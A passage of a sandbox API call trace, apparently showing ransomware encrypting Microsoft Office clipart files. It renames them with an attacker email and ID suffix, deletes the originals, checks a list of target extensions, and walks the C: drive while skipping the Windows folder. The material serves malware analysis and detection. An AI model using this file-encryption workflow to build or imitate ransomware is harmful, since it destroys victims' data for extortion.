(normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0212.023] GetLastError () returned 0x0 [0212.023] ReadFile (in: hFile=0x35c, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x35f0, lpOverlapped=0x0) returned 1 [0212.024] WriteFile (in: hFile=0x368, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x3600, lpOverlapped=0x0) returned 1 [0212.025] ReadFile (in: hFile=0x35c, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.025] WriteFile (in: hFile=0x368, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.026] SetEndOfFile (hFile=0x368) returned 1 [0212.026] CloseHandle (hObject=0x368) returned 1 [0212.026] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.026] SetEndOfFile (hFile=0x35c) returned 1 [0212.027] CloseHandle (hObject=0x35c) returned 1 [0212.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0212.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 1 [0212.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0212.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0212.028] lstrlenW (lpString=".doc") returned 4 [0212.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.028] lstrlenW (lpString=".docx") returned 5 [0212.028] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0212.028] lstrlenW (lpString=".pdf") returned 4 [0212.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.028] lstrlenW (lpString=".xls") returned 4 [0212.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.028] lstrlenW (lpString=".xlsx") returned 5 [0212.029] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0212.029] lstrlenW (lpString=".ppt") returned 4 [0212.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0212.029] lstrlenW (lpString=".zip") returned 4 [0212.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.029] lstrlenW (lpString=".rar") returned 4 [0212.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.029] lstrlenW (lpString=".bz2") returned 4 [0212.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.029] lstrlenW (lpString=".7z") returned 3 [0212.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0212.029] lstrlenW (lpString=".dbf") returned 4 [0212.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0212.029] lstrlenW (lpString=".1cd") returned 4 [0212.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0212.029] lstrlenW (lpString=".jpg") returned 4 [0212.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0212.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0212.029] lstrlenW (lpString=".doc") returned 4 [0212.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.030] lstrlenW (lpString=".docx") returned 5 [0212.030] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0212.030] lstrlenW (lpString=".pdf") returned 4 [0212.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.030] lstrlenW (lpString=".xls") returned 4 [0212.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.030] lstrlenW (lpString=".xlsx") returned 5 [0212.030] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0212.030] lstrlenW (lpString=".ppt") returned 4 [0212.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0212.030] lstrlenW (lpString=".zip") returned 4 [0212.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.030] lstrlenW (lpString=".rar") returned 4 [0212.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.030] lstrlenW (lpString=".bz2") returned 4 [0212.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.030] lstrlenW (lpString=".7z") returned 3 [0212.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0212.030] lstrlenW (lpString=".dbf") returned 4 [0212.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0212.030] lstrlenW (lpString=".1cd") returned 4 [0212.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0212.031] lstrlenW (lpString=".jpg") returned 4 [0212.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.031] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0212.031] lstrlenW (lpString="J0105846.WMF") returned 12 [0212.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.031] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=8240) returned 1 [0212.031] CloseHandle (hObject=0x35c) returned 1 [0212.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 0x220 [0212.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0212.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.032] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.032] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0212.033] GetLastError () returned 0x0 [0212.033] ReadFile (in: hFile=0x35c, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x2030, lpOverlapped=0x0) returned 1 [0212.034] WriteFile (in: hFile=0x368, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x2040, lpOverlapped=0x0) returned 1 [0212.036] ReadFile (in: hFile=0x35c, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.036] WriteFile (in: hFile=0x368, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.036] SetEndOfFile (hFile=0x368) returned 1 [0212.036] CloseHandle (hObject=0x368) returned 1 [0212.036] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.037] SetEndOfFile (hFile=0x35c) returned 1 [0212.038] CloseHandle (hObject=0x35c) returned 1 [0212.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0212.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 1 [0212.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0212.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0212.039] lstrlenW (lpString=".doc") returned 4 [0212.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.039] lstrlenW (lpString=".docx") returned 5 [0212.039] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0212.039] lstrlenW (lpString=".pdf") returned 4 [0212.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.039] lstrlenW (lpString=".xls") returned 4 [0212.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.039] lstrlenW (lpString=".xlsx") returned 5 [0212.039] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0212.039] lstrlenW (lpString=".ppt") returned 4 [0212.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0212.039] lstrlenW (lpString=".zip") returned 4 [0212.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.039] lstrlenW (lpString=".rar") returned 4 [0212.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.039] lstrlenW (lpString=".bz2") returned 4 [0212.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.039] lstrlenW (lpString=".7z") returned 3 [0212.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0212.040] lstrlenW (lpString=".dbf") returned 4 [0212.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0212.040] lstrlenW (lpString=".1cd") returned 4 [0212.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0212.040] lstrlenW (lpString=".jpg") returned 4 [0212.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0212.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0212.040] lstrlenW (lpString=".doc") returned 4 [0212.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.040] lstrlenW (lpString=".docx") returned 5 [0212.040] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0212.040] lstrlenW (lpString=".pdf") returned 4 [0212.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.040] lstrlenW (lpString=".xls") returned 4 [0212.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.040] lstrlenW (lpString=".xlsx") returned 5 [0212.040] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0212.040] lstrlenW (lpString=".ppt") returned 4 [0212.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0212.041] lstrlenW (lpString=".zip") returned 4 [0212.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.041] lstrlenW (lpString=".rar") returned 4 [0212.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.041] lstrlenW (lpString=".bz2") returned 4 [0212.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.041] lstrlenW (lpString=".7z") returned 3 [0212.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0212.041] lstrlenW (lpString=".dbf") returned 4 [0212.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0212.041] lstrlenW (lpString=".1cd") returned 4 [0212.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0212.041] lstrlenW (lpString=".jpg") returned 4 [0212.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.041] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0212.041] lstrlenW (lpString="J0105912.WMF") returned 12 [0212.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.042] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=11720) returned 1 [0212.042] CloseHandle (hObject=0x35c) returned 1 [0212.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 0x220 [0212.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0212.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.043] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.043] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0212.044] GetLastError () returned 0x0 [0212.044] ReadFile (in: hFile=0x35c, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x2dc8, lpOverlapped=0x0) returned 1 [0212.045] WriteFile (in: hFile=0x368, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x2dd0, lpOverlapped=0x0) returned 1 [0212.046] ReadFile (in: hFile=0x35c, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.046] WriteFile (in: hFile=0x368, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.046] SetEndOfFile (hFile=0x368) returned 1 [0212.047] CloseHandle (hObject=0x368) returned 1 [0212.047] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.047] SetEndOfFile (hFile=0x35c) returned 1 [0212.048] CloseHandle (hObject=0x35c) returned 1 [0212.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0212.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 1 [0212.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0212.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0212.049] lstrlenW (lpString=".doc") returned 4 [0212.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.049] lstrlenW (lpString=".docx") returned 5 [0212.049] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0212.049] lstrlenW (lpString=".pdf") returned 4 [0212.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.049] lstrlenW (lpString=".xls") returned 4 [0212.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.049] lstrlenW (lpString=".xlsx") returned 5 [0212.049] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0212.049] lstrlenW (lpString=".ppt") returned 4 [0212.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0212.050] lstrlenW (lpString=".zip") returned 4 [0212.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.050] lstrlenW (lpString=".rar") returned 4 [0212.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.050] lstrlenW (lpString=".bz2") returned 4 [0212.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.050] lstrlenW (lpString=".7z") returned 3 [0212.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0212.050] lstrlenW (lpString=".dbf") returned 4 [0212.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0212.050] lstrlenW (lpString=".1cd") returned 4 [0212.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0212.050] lstrlenW (lpString=".jpg") returned 4 [0212.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0212.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0212.050] lstrlenW (lpString=".doc") returned 4 [0212.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.050] lstrlenW (lpString=".docx") returned 5 [0212.050] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0212.051] lstrlenW (lpString=".pdf") returned 4 [0212.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.051] lstrlenW (lpString=".xls") returned 4 [0212.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.051] lstrlenW (lpString=".xlsx") returned 5 [0212.051] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0212.051] lstrlenW (lpString=".ppt") returned 4 [0212.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0212.051] lstrlenW (lpString=".zip") returned 4 [0212.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.051] lstrlenW (lpString=".rar") returned 4 [0212.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.051] lstrlenW (lpString=".bz2") returned 4 [0212.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.051] lstrlenW (lpString=".7z") returned 3 [0212.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0212.051] lstrlenW (lpString=".dbf") returned 4 [0212.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0212.051] lstrlenW (lpString=".1cd") returned 4 [0212.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 Thread: id = 96 os_tid = 0x4f0 [0205.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3500940 [0205.450] lstrlenW (lpString="C:") returned 2 [0205.450] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x316fcf8 | out: lpFindFileData=0x316fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x5da8d0 [0205.450] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0205.450] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0205.450] lstrlenW (lpString="$GetCurrent") returned 11 [0205.451] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0205.451] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3510948 [0205.451] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0205.451] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5da190 [0205.451] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0205.452] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0205.452] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 